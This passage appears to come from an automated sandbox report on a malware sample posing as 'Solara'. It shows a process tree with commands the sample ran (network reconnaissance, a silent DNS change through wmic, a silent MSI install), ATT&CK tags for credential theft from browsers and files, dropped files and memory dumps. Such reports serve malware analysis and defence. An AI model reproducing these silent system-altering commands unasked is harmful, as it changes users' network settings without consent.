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C:\Windows\SYSTEM32\cmd.exe"cmd" /c ipconfig /all3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\ipconfig.exeipconfig /all4⤵
- Gathers network information
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c wmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")3⤵
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C:\Windows\System32\Wbem\WMIC.exewmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")4⤵
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C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi" /qn3⤵
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C:\ProgramData\Solara\Solara.exe"C:\ProgramData\Solara\Solara.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding D3CE0C826661E3DF92006E17857EFAEE2⤵
- Loads dropped DLL
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3735A29B84B063D48B1C9A5E249287252⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A03F98AC34F9D8EB36EB4ED9E8BF4150 E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\wevtutil.exe"wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man"3⤵
- System Location Discovery: System Language Discovery
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C:\Windows\System32\wevtutil.exe"wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man" /fromwow644⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Internet Connection Discovery
1Wi-Fi Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
e57b394.rbs
node_etw_provider.man
LICENSE.md
license
LICENSE
LICENSE.md
LICENSE
package.json
LICENSE
index.js
LICENSE
LICENSE
index.d.ts
LICENSE
Node.js documentation.url
Solara.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
BootstrapperV1.23.exe
Built.exe
RES8CEE.tmp
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
python313.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_ve250qmt.50l.ps1
i0rvxgb2.dll
DenyExpand.jpeg
DisconnectExpand.txt
PublishBackup.php
SaveJoin.xlsx
SelectCheckpoint.docx
SendBackup.nfo
SendSubmit.doc
MSIC1EE.tmp
MSIE059.tmp
e57b395.msi
hosts
CSC2E9928CC633944FC80343070DA3717EB.TMP
i0rvxgb2.0.cs
i0rvxgb2.cmdline
memory/892-45-0x0000000000400000-0x0000000000C8C000-memory.dmp
memory/916-3166-0x00000200C9750000-0x00000200C97EA000-memory.dmp
memory/916-3165-0x00000200E3CA0000-0x00000200E3D52000-memory.dmp
memory/916-3163-0x00000200E3BE0000-0x00000200E3C9A000-memory.dmp
memory/916-3162-0x00000200E3E70000-0x00000200E43AC000-memory.dmp
memory/916-3161-0x00000200C92F0000-0x00000200C9314000-memory.dmp
memory/2356-232-0x000001D0F0490000-0x000001D0F0498000-memory.dmp
memory/2932-117-0x0000023469BF0000-0x0000023469C12000-memory.dmp
memory/4596-53-0x00007FFE85403000-0x00007FFE85405000-memory.dmp
memory/4596-50-0x00000150E9420000-0x00000150E94EE000-memory.dmp
memory/4596-2747-0x00000150EBF30000-0x00000150EBF42000-memory.dmp
memory/4596-2745-0x00000150EBEB0000-0x00000150EBEBA000-memory.dmp
memory/4992-2669-0x00007FFE9AF00000-0x00007FFE9AF14000-memory.dmp
memory/4992-101-0x00007FFE9AFD0000-0x00007FFE9B004000-memory.dmp
memory/4992-334-0x00007FFE85ED0000-0x00007FFE86533000-memory.dmp
memory/4992-288-0x00007FFE93080000-0x00007FFE931FF000-memory.dmp
memory/4992-379-0x00007FFE85ED0000-0x00007FFE86533000-memory.dmp
memory/4992-211-0x00007FFE9B070000-0x00007FFE9B095000-memory.dmp
memory/4992-131-0x00007FFE9BDC0000-0x00007FFE9BDEB000-memory.dmp
memory/4992-340-0x00007FFE93080000-0x00007FFE931FF000-memory.dmp
memory/4992-103-0x00007FFE9AF00000-0x00007FFE9AF14000-memory.dmp
memory/4992-105-0x00007FFE9C350000-0x00007FFE9C377000-memory.dmp
memory/4992-108-0x00007FFE97790000-0x00007FFE97843000-memory.dmp
memory/4992-106-0x00007FFE9BDA0000-0x00007FFE9BDAD000-memory.dmp
memory/4992-90-0x00007FFE9C330000-0x00007FFE9C349000-memory.dmp
memory/4992-96-0x00007FFE85ED0000-0x00007FFE86533000-memory.dmp
memory/4992-100-0x000001DCB5640000-0x000001DCB5B73000-memory.dmp
memory/4992-2683-0x000001DCB5640000-0x000001DCB5B73000-memory.dmp
memory/4992-97-0x00007FFE9BDB0000-0x00007FFE9BDBD000-memory.dmp
memory/4992-2671-0x00007FFE97790000-0x00007FFE97843000-memory.dmp
memory/4992-2670-0x00007FFE9BDA0000-0x00007FFE9BDAD000-memory.dmp
memory/4992-308-0x000001DCB5640000-0x000001DCB5B73000-memory.dmp
memory/4992-2681-0x00007FFE97F00000-0x00007FFE97FCE000-memory.dmp
memory/4992-2680-0x00007FFE9BDB0000-0x00007FFE9BDBD000-memory.dmp
memory/4992-349-0x00007FFE9AF00000-0x00007FFE9AF14000-memory.dmp
memory/4992-2679-0x00007FFE9C330000-0x00007FFE9C349000-memory.dmp
memory/4992-316-0x00007FFE9AFD0000-0x00007FFE9B004000-memory.dmp
memory/4992-2678-0x00007FFE93080000-0x00007FFE931FF000-memory.dmp
memory/4992-2677-0x00007FFE9B070000-0x00007FFE9B095000-memory.dmp
memory/4992-2676-0x00007FFE9E1E0000-0x00007FFE9E1F9000-memory.dmp
memory/4992-2675-0x00007FFE9BDC0000-0x00007FFE9BDEB000-memory.dmp
memory/4992-2674-0x00007FFEA19F0000-0x00007FFEA19FF000-memory.dmp
memory/4992-2673-0x00007FFE9C350000-0x00007FFE9C377000-memory.dmp
memory/4992-2672-0x00007FFE9AFD0000-0x00007FFE9B004000-memory.dmp
memory/4992-2657-0x00007FFE85ED0000-0x00007FFE86533000-memory.dmp
memory/4992-99-0x00007FFE81110000-0x00007FFE81643000-memory.dmp
memory/4992-98-0x00007FFE97F00000-0x00007FFE97FCE000-memory.dmp
memory/4992-84-0x00007FFE9E1E0000-0x00007FFE9E1F9000-memory.dmp
memory/4992-86-0x00007FFE9B070000-0x00007FFE9B095000-memory.dmp
memory/4992-88-0x00007FFE93080000-0x00007FFE931FF000-memory.dmp
memory/4992-2682-0x00007FFE81110000-0x00007FFE81643000-memory.dmp
memory/4992-301-0x00007FFE9C330000-0x00007FFE9C349000-memory.dmp
memory/4992-82-0x00007FFE9BDC0000-0x00007FFE9BDEB000-memory.dmp
memory/4992-60-0x00007FFEA19F0000-0x00007FFEA19FF000-memory.dmp
memory/4992-58-0x00007FFE9C350000-0x00007FFE9C377000-memory.dmp
memory/4992-305-0x00007FFE97F00000-0x00007FFE97FCE000-memory.dmp
memory/4992-52-0x00007FFE85ED0000-0x00007FFE86533000-memory.dmp
memory/4992-307-0x00007FFE81110000-0x00007FFE81643000-memory.dmp